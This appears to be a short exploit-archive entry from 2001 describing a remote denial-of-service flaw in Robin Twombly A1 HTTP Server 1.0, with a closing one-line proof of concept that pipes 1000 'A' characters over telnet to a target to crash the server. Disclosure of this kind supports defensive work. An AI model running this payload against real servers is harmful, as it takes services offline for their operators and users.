Robin Twombly A1 HTTP Server 1.0 - Denial of Service

Author: slipy
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platform: windows
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date_added: 2001-02-27 
date_updated: 2012-08-20 
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source: https://www.securityfocus.com/bid/2435/info

It is possible for a remote user to cause a denial of service condition in Robin Twombly A1 Server.

Submitting a specially crafted request via a telnet connection, could cause the A1 server to crash.

A restart of the server is required in order to gain normal functionality.

echo `perl -e 'print "A" x 1000'` | telnet target